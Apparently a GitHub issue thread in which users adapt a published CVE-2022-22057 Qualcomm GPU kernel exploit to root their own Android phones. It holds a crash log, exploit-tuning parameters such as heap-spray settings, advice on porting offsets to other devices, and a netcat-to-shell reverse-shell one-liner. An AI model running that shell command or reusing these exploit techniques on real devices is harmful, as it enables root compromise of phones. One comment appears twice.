<7>[  540.014665] [7:  POSIX timer 0: 2371]  cnss: Setting MHI state: RDDM_DONE(10)
<0>[  540.014670] [7:  POSIX timer 0: 2371]  Kernel Offset: 0xa0000 from 0xffffffc010000000
<0>[  540.014672] [7:  POSIX timer 0: 2371]  PHYS_OFFSET: 0x80000000
<0>[  540.014675] [7:  POSIX timer 0: 2371]  CPU features: 0x00010006,2a00a238
<0>[  540.014677] [7:  POSIX timer 0: 2371]  Memory Limit: none
<4>[  540.014680] [7:  POSIX timer 0: 2371]  Mem-Info:
<4>[  540.014683] [7:  POSIX timer 0: 2371]  SwapSize:9728kB ioncamera_heap:5120kB ionsystem:234852kB ionsecure_carveout:0kB ionspss:164kB ionsecure_display:0kB ionsecure_heap:0kB ionqsecom:11240kB ionuser_contig:0kB ionaudio_ml:10240kB ionadsp:0kB ionqsecom_ta:0kB ionion_system_heap:0kB VmallocAPIsize:213712kB KgslSharedmem:51396kB rbintotal:512000kB rbinpool:0kB rbinfree:20kB rbincache:506860kB 
<4>[  540.014700] [7:  POSIX timer 0: 2371]  
<4>[  540.014706] [7:  POSIX timer 0: 2371]  active_anon:388833 inactive_anon:217376 isolated_anon:0
<4>[  540.014706] [7:  POSIX timer 0: 2371]   active_file:238454 inactive_file:798943 isolated_file:0
<4>[  540.014706] [7:  POSIX timer 0: 2371]   unevictable:1665 dirty:180 writeback:0 unstable:0
<4>[  540.014706] [7:  POSIX timer 0: 2371]   slab_reclaimable:25289 slab_unreclaimable:85790
<4>[  540.014706] [7:  POSIX timer 0: 2371]   mapped:458644 shmem:5675 pagetables:32494 bounce:0
<4>[  540.014706] [7:  POSIX timer 0: 2371]   free:120123 free_pcp:329 free_cma:0
<4>[  540.014711] [7:  POSIX timer 0: 2371]  Node 0 active_anon:1555332kB inactive_anon:869504kB active_file:953816kB inactive_file:3195772kB unevictable:6660kB isolated(anon):0kB isolated(file):0kB mapped:1834576kB dirty:720kB writeback:0kB shmem:22700kB shmem_thp: 0kB shmem_pmdmapped: 0kB anon_thp: 413696kB writeback_tmp:0kB unstable:0kB all_unreclaimable? no
<4>[  540.014716] [7:  POSIX timer 0: 2371]  Normal free:480492kB min:13204kB low:396312kB high:407432kB reserved_highatomic:4096KB active_anon:1555332kB inactive_anon:869504kB active_file:953816kB inactive_file:3195772kB unevictable:6660kB writepending:720kB present:11965716kB managed:11121644kB mlocked:3416kB kernel_stack:67872kB shadow_call_stack:16968kB pagetables:129976kB bounce:0kB free_pcp:1316kB local_pcp:1316kB free_cma:0kB
<4>[  540.014719] [7:  POSIX timer 0: 2371]  lowmem_reserve[]: 0 0
<4>[  540.014721] [7:  POSIX timer 0: 2371]  Normal: 8763*4kB (UME) 8982*8kB (UMEH) 5095*16kB (UMEH) 2071*32kB (UMEH) 738*64kB (UMEH) 435*128kB (UME) 176*256kB (UMEH) 72*512kB (UM) 38*1024kB (UMH) 1*2048kB (H) 0*4096kB = 480492kB
<4>[  540.014729] [7:  POSIX timer 0: 2371]  1043042 total pagecache pages
<4>[  540.014734] [7:  POSIX timer 0: 2371]  523 pages in swap cache
<4>[  540.014737] [7:  POSIX timer 0: 2371]  Swap cache stats: add 11190, delete 10667, find 0/1292
<4>[  540.014739] [7:  POSIX timer 0: 2371]  Free swap  = 4154620kB
<4>[  540.014741] [7:  POSIX timer 0: 2371]  Total swap = 4194300kB
<4>[  540.014743] [7:  POSIX timer 0: 2371]  2991429 pages RAM
<4>[  540.014745] [7:  POSIX timer 0: 2371]  0 pages HighMem/MovableOnly
<4>[  540.014747] [7:  POSIX timer 0: 2371]  211018 pages reserved
<4>[  540.014749] [7:  POSIX timer 0: 2371]  117760 pages cma reserved
<6>[  540.014751] [7:  POSIX timer 0: 2371]  mm_debug dump tasks

...

<6>[  540.015611] [7:  POSIX timer 0: 2371]  heaviest_task_rss:system_server(1438) size:626788KB, totalram_pages:11121644KB
<3>[  540.015617] [7:  POSIX timer 0: 2371]  ipa ipa3_active_clients_panic_notifier:601 
<3>[  540.015617] [7:  POSIX timer 0: 2371]  ---- Active Clients Table ----
<3>[  540.015617] [7:  POSIX timer 0: 2371]  
<3>[  540.015617] [7:  POSIX timer 0: 2371]  Total active clients count: 0
<3>[  540.015617] [7:  POSIX timer 0: 2371]  
<3>[  540.015623] [7:  POSIX timer 0: 2371]  hh-watchdog hypervisor:qcom,hh-watchdog: vWDT already enabled
<3>[  540.015652] [7:  POSIX timer 0: 2371]  (sec_debug_set_upload_magic) 776655ee
<6>[  540.015654] [7:  POSIX timer 0: 2371]  sec_debug:sec_debug_set_qc_dload_magic() on=1
<3>[  540.015700] [7:  POSIX timer 0: 2371]  qcom_scm firmware:scm: set download mode: 0x10
<3>[  540.015704] [7:  POSIX timer 0: 2371]  set_dload_mode <1> ( ffffffc010a19f98 )
<3>[  540.015850] [7:  POSIX timer 0: 2371]  sec_debug_panic_handler :Fatal exception
<0>[  540.015861] [7:  POSIX timer 0: 2371]  sec_debug:sec_debug_set_upload_cause() c8000000
<0>[  540.015864] [7:  POSIX timer 0: 2371]  sec_debug:sec_debug_save_context() (sec_debug_save_context) context saved(CPU:7)
<3>[  540.015975] [7:  POSIX timer 0: 2371]  (sec_debug_pm_restart) 5.4.86-qgki-23063627-abF926USQS1BUL6 #1 SMP PREEMPT Tue Dec 21 19:13:47 KST 2021
<3>[  540.015983] [7:  POSIX timer 0: 2371]  (sec_debug_pm_restart) rebooting...
<6>[  540.016094] [7:  POSIX timer 0: 2371]  Triggering late bite
<3>[  540.016106] [7:  POSIX timer 0: 2371]  hh-watchdog hypervisor:qcom,hh-watchdog: Causing a QCOM Apps Watchdog bite!
<3>[  540.016112] [7:  POSIX timer 0: 2371]  hh-watchdog hypervisor:qcom,hh-watchdog: vWdog-CTL: 1, vWdog-time since last pet: 0, vWdog-expired status: 1

...

{3830251} UploadCause[KERNEL PANIC], Don't check hangcnt
{3830251} gen_dump_summary DONE
{3830251} entry_fn=f0812bb0
{3830281} collect_rr_data : restart_reason = 0x776655ee
{3830281} collect_rr_data : upload_cause = KERNEL PANIC ( panic_msg = Oops - BUG PC = __list_add_valid+0x74/0x90 )
{3830312} UpdateDCVSLastVal : start.
{3830373} smem_get_ddr_clk: ddr log num(50), &idx(0x8077dd5c), logs(0x8079f1b0)
{3830403} Current PON fault reason value 0x0000000000004000
{3830403} UpdateDCVSLastVal : end.
{3830434} last_rst_reason 4
{3830708} collect_rr_data : exinfo 0xf01ff000, 0x1000, 0x1000
{3830708} collect_rr_data : TZ OEM_RESET_REASON :: TZBSP_ERR_FATAL_NON_SECURE_WDT

...

{944097} Current PON value 0x00400080108000c0
{944127} 
	S3 : 
	FAULT2 : RESTART_PON 
	FAULT1 : 
{944127} 
	OFF : POFF_SEQ 
	POFF : PS_HOLD 
	ON : PON_SEQ 
	WARM : 
	PON : HARD_RESET[O] CABLE 
{944219} ResetReason don't define case 0x1c, RR.p will write NP
{944615} Target was saved rr_data, Maybe entered upload before
{944615} RR : KP
{944737} 2023-06-30 21:28:35 RTC[54613198] boot_cnt[841] Hard Reset at XBL
{944737} 2023-06-30 21:28:37 RTC[54613200] boot_cnt[842] Power ON by Reboot CMD 0x1c
{944768} 2023-06-30 22:05:58 RTC[54615441] boot_cnt[843] Warm Reset by Kernel Panic

[diabl0w]

okay one last thing... when you run the exploit, the phone will work perfectly fine until you turn off the display and then attempt to turn it back on and that is when it will crash

[diabl0w]

and I am pretty sure is due to this :

<3>[  538.885486] [7:  POSIX timer 0: 2371]  list_add corruption. next->prev should be prev (ffffff8089fcb130), but was 0000007a777ebfa5. (next=ffffff8071840280).

[diabl0w]

which according to (https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html) is because of the kernel option CONFIG_DEBUG_LIST. which will induce a kernel panic when an exploit (this one for example) uses "list_add".

So while this exploit is still successful in running a command as root, I don't believe it is usable in terms of purposefully utilizing it for device modification, as the phone does not stay in an operational state. You would need to use this to modify the system files that persist across reboots, which is not really possible since Android 10.

[m-y-mo]

You can try to use the command and steps here: https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Qualcomm/NPU to create a reverse shell. I remember there was some problems and you needed to go back and forth between the phone and the computer to get a reverse shell. You may be able to make permanent changes to some packages, and you may also be able to do a bootless, non persistent Magisk that makes it more convenient to use. You probably won't be able to unlock bootloader with this, and if you want to make permanent changes, make sure you understand exactly what you're doing, or you're likely to hard brick or wipe the device.
The crash that you encountered is because some ion buffer are not properly cleaned up and a corrupted object is deleted when the file is closed. With arbitrary memory read/write, problems like these can be fixed, but it'd be rather tedious (you need to find the corrupted ion file in memory and fix it), and since the POC was only intended to demonstrate arbitrary kernel read/write and root, I did not go to that lengths to fix it. An easier and uglier way is to ensure that the file isn't close. For example, comment out this line: https://github.com/github/securitylab/blob/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c#L793 and then add a while (1); at the end of timeline_wait.c to stop the process from exiting (which will close all the ion files). Note that the process will also exit if you lose your adb connection. You can probably avoid this by making the POC into an app that runs in the background.

[diabl0w]

You can try to use the command and steps here: https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Qualcomm/NPU to create a reverse shell. I remember there was some problems and you needed to go back and forth between the phone and the computer to get a reverse shell.

Yes, I've tried a few methods, yours is interesting. I don't understand why it doesnt seem to be working, but i'll figure it out

You may be able to make permanent changes to some packages, and you may also be able to do a bootless, non persistent Magisk that makes it more convenient to use. You probably won't be able to unlock bootloader with this, and if you want to make permanent changes, make sure you understand exactly what you're doing, or you're likely to hard brick or wipe the device.

Yes, totally understand. I know enough to know the dangers. I think non-persistant magisk is the best way to go. Trying to modify /system and/or kernel and not tripping the security measures in place to prevent that is vastly beyond my knowledge... it would require another exploit from someone as far as im aware

The crash that you encountered is because some ion buffer are not properly cleaned up and a corrupted object is deleted when the file is closed. With arbitrary memory read/write, problems like these can be fixed, but it'd be rather tedious (you need to find the corrupted ion file in memory and fix it)

This is dynamic right? like i couldn't just do digging and find it once and fix it and its always the same thing... it would change each run. I was quite certain from the link I posted it was because of CONFIG_DEBUG_LIST and list_add.

, and since the POC was only intended to demonstrate arbitrary kernel read/write and root, I did not go to that lengths to fix it.

Oh i totally get that, this was posted as a CVE/security concern, not a method to obtain stable root, so no worries at all.

An easier and uglier way is to ensure that the file isn't close. For example, comment out this line: https://github.com/github/securitylab/blob/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c#L793 and then add a while (1); at the end of timeline_wait.c to stop the process from exiting (which will close all the ion files). Note that the process will also exit if you lose your adb connection. You can probably avoid this by making the POC into an app that runs in the background.

While definitely not ideal, I tested this and you are 100% correct. I am going to have to find a good way to implement this though. Android is so quick to kill apps process', I did a quick test since yesterday and my phone has kernel panicked once from android killing the terminal app i ran the code in (even though I removed all optimization/battery saving). Only once is not bad, but I would say probably not useable. I'd have to find a way to keep process alive unless extreme low memory circumstances. I'll have to look at how android processes work and go from there. Off the top of my head i know adbd runs pretty close to the core of the process tree, so making an app that links with adbd but forks the process away from the app? I am not sure that even makes sense to someone who knows better. Shizuku may be helpful as well. I am sure there is some clever trick

[diabl0w]

I ran your setup from here https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Qualcomm/NPU

It works fine from adb using the exact same command:

/system/bin/sh -c "while [ 1 ]; do /system/bin/toybox netcat 192.168.111.108 4446 | /system/bin/sh; done"

or just

while [ 1 ]; do /system/bin/toybox netcat 192.168.111.108 4446 | /system/bin/sh; done

but the same exact command does not work when run from the exploit in work_queue_utils.c
EDIT: i'm an idiot, yesterday i disabled the section in timeline.c that runs the code in workqueue bcuz I was testing stability of selinux only... all of today I was wondering why the code wouldnt run LOL

[diabl0w]

I need to figure out how the shizuku_server works, because even after force-stopping the shizuku app, the server still runs. I know it starts by connecting to adb but thats all I am aware of. but I need the exploit to keep running the same way shizuku_server does

[diabl0w]

Oh, and also... THANK YOU:)

[diabl0w]

i now i have the looping timeline process attached as a child of android's init so that it doesnt get killed. yay!

[diabl0w]

@m-y-mo okay, i think my last question... i am unable to run commands like /data/local/tmp/busybox xxxx or /data/local/tmp/script.sh ... any hints?

[m-y-mo]

Yes, there is a check to make sure that the binary/script that is run is whitelisted (See: https://github.com/vngkv123/articles/blob/main/Galaxy's%20Meltdown%20-%20Exploiting%20SVE-2020-18610.md feature_safeplace_path in the very end of the article), which is why you do system/bin/sh -c "my command" instead. (i.e. run your command as an argument to system/bin/sh instead of running it directly)

[diabl0w]

I apologize for the confusion but yes I am talking about passing them as arguements to -c... I am unable to pass any type of script or custom binary as an arguement, they dont run.

[diabl0w]

in fact, they dont seem to work from the reverse shell either

[m-y-mo]

I was able to run custom scripts. If you just copy a script over, you'll need to do chmod +x on it otherwise it won't run. I can't get pm to run either and I'm not sure why. My guess is that the environment is not set up right in the kernel worker that runs the command. The command runs on a kernel worker, not on the adb shell or the app that runs the POC. It may be that because the kernel worker is not meant to run as an app, it doesn't have the Java runtime environment, library paths etc. setup so it can't run pm (which is written in Java (https://android.googlesource.com/platform/frameworks/base/+/742a67127366c376fdf188ff99ba30b27d3bf90c/cmds/pm/src/com/android/commands/pm/Pm.java)), but I'm not sure.

[diabl0w]

Last comment for now... So I made some changes that you suggested and holy crap this is so pleasant... the exploit has work 100% of the time now so far (7 attempts).. Normally it would take me 7 or more attempts to get it to work once. So this is amazing... wow have we come so far from where we started.

That being said, the big problem is that I chose these values completely randomly, and so I have no idea if I just got lucky or if they are potentially causing too much extra corruption. Can you double check to see if these are sane values?

#define SPRAY_INTERVAL 5000
//#define SPRAY_INTERVAL 7500
#define PER_INTERVAL_SPRAY 12
//#define PER_INTERVAL_SPRAY 8
--
#define NB_REALLOC_THREADS 60
//#define NB_REALLOC_THREADS 40
  usleep(60000);
  //usleep(120000);
  realloc_NOW(10000);
  //realloc_NOW(20000);

[m-y-mo]

The parameters looks fine to me. I'm surprised how much differences it makes. I'm not sure why it gets stuck in an app. The fact that it doesn't even crash but just got stuck makes me think that the bug wasn't even triggered. Maybe somehow the system interrupts the app and puts it to sleep etc. There's probably a way to avoid these things and keep a process in an app running. There are probably apps (e.g. gaming) that runs computational intensive processes that shouldn't be interrupted, but I haven't looked into these things, so I don't know.

[diabl0w]

I've tried putting the timeline library into the app made for this exploit: https://github.com/0xkol/badspin

and adjusting the commands as appropriate. The badspin exploit runs fine (well my device isnt vulnerable, but it attempts it at least and doesnt hang), the timeline one doesnt

I've also tried running it as a foreground service as well as marking the app as a game... no difference found

I was even able to detach the process from the app so that it was a child of init (1) and still hangs in the same spot

EDIT: but you know what i realized is that I dont think i ever get the signal(SIGUSR, sig_func) "Caught signal" message when running from app. Is that maybe why? I know in my previous post I put that I did but reviewing again im not seeing i ever get that

[m-y-mo]

I don't really know what is the problem in that case, sorry about that. From what you mention, it looks like the signal was never sent or received, and the IOCTL_KGSL_TIMELINE_WAIT call just timeout. Maybe for some reason apps can handle SIGUSR1? Maybe try making a simple app to handle different signals and see if it works, or check and see if there is something in dmesg? If it is a problem with signals, then you maybe able to solve it by synchronising threads in a different way, but you're likely to need to tweak the timing parameters again.

[diabl0w]

I'm definitely a bit lost on this one, does this help us?
https://stackoverflow.com/questions/66104131/can-ndk-handle-signals

also the accepted answer here talks about using SIGUSR2 because SIGUSR1 is handled by android?
https://stackoverflow.com/questions/24891552/how-to-kill-a-child-thread-in-c-android-ndk

I may definitely be misreading these but I have a feeling im on the right track

EDIT: holy shit i think it worked... using SIGUSR2
EDIT2: CONFIRMED WORKING WOW!
EDIT3: unfortunately, android still likes to kill the timeline process if the app is killed despite the timeline being a child of init instead of child of app, which results in my device crashing, but I should be able to work around that hopefully
EDIT4: running timeline as a foreground service (so its not killed) that automatically launches at boot (direct boot aware), and using it to start a Magisk daemon. Life is Good. :)

[mind-spacer]

Actually, it's not related to the current discussion it's about Mali exploits @m-y-mo Can we port the Mali based exploits that u developed to other android devices such as Samsung or Motorola? Actually, I am trying to port it and it's prints result 49 on sometimes and sometimes reboots. Do u think it may be able to use on these devices? if that the case what are things needed to be change?

Devices working with:
Motorola One Action Kernel 4.14.113 Android 11 Patch date: July1, 2022 Mali G72 r26.0.01eac0
Samsung M30, Kernel 4.14.113 Android 11 Patch date: Mar 1,2022 Mali G68 r26.0.01eac0
I have the kernel source, elf file of these devices.
I currently changed the 6 symbols (avc_deny, sel_read,...), kernel base what are the other things to consider like disable Selinux and rooted?
Any help would be appreciated...

[hojeezila]

I tested CVE-2022-22057 POC on a Huawei phone, but it always reboots after printing 'read pipe finished ', How to fix this issue. huawei phone Info: Model VNE-AN00 , honor play30 8+128G memory Android 11 kernel version 5.4.86 Android security patch level: April 1. 2022

POC log: heap_id_mask 40 ion region 0x787c5e0000 region start addr: ffffff8071800000 fence kernel addr: ffffff8071fe0040 192 created fake slab at ffffff8071840100 [+] reallocation data initialized! [ ] initializing reallocation threads, please wait... [+] 40 reallocation threads ready! readpipe start timeline_wait start destroy start readpipe Caught signal: 10 wait complete -1 readpipe finished < phone reboot >

Hello
I have the same problem in Xiaomi Poco X4 Pro 5G and I want to implement this solution on this phone I have already read the road map of extracting offsets from related firmware but as @m-y-mo said it seems the problem is not related to the selected offsets.
I wonder if only changing the offsets that have been previously changed for Z-Fold 3 is enough?
or I should change some more addresses because of differences in vendor and chipset?
when I checked the difference between Z-Fold 3 and Z-flip 3 I realized that only these parameters should be changed:
ION_HEAPS_OPS_OFF
ENFORCING_OFF
KGSL_DRIVER_OFF
SYSTEM_UNBOUND_WQ_OFF
RUN_CMD_ENVP_OFF
CALL_USERMODE_OFF

Last comment for now... So I made some changes that you suggested and holy crap this is so pleasant... the exploit has work 100% of the time now so far (7 attempts).. Normally it would take me 7 or more attempts to get it to work once. So this is amazing... wow have we come so far from where we started.

That being said, the big problem is that I chose these values completely randomly, and so I have no idea if I just got lucky or if they are potentially causing too much extra corruption. Can you double check to see if these are sane values?

#define SPRAY_INTERVAL 5000
//#define SPRAY_INTERVAL 7500
#define PER_INTERVAL_SPRAY 12
//#define PER_INTERVAL_SPRAY 8
--
#define NB_REALLOC_THREADS 60
//#define NB_REALLOC_THREADS 40
  usleep(60000);
  //usleep(120000);
  realloc_NOW(10000);
  //realloc_NOW(20000);

@diabl0w would you please share us how you found these numbers? by reading dmsg logs? or just try and catch?

I would appreciate it if you could help me with my problems.
My Phone Info :
POCO X4 Pro 5G
Android Version 11
Security Patch 2022-03-01
Snapdragon 695
Kernel Version 5.4.134.pref-gdf60da721b15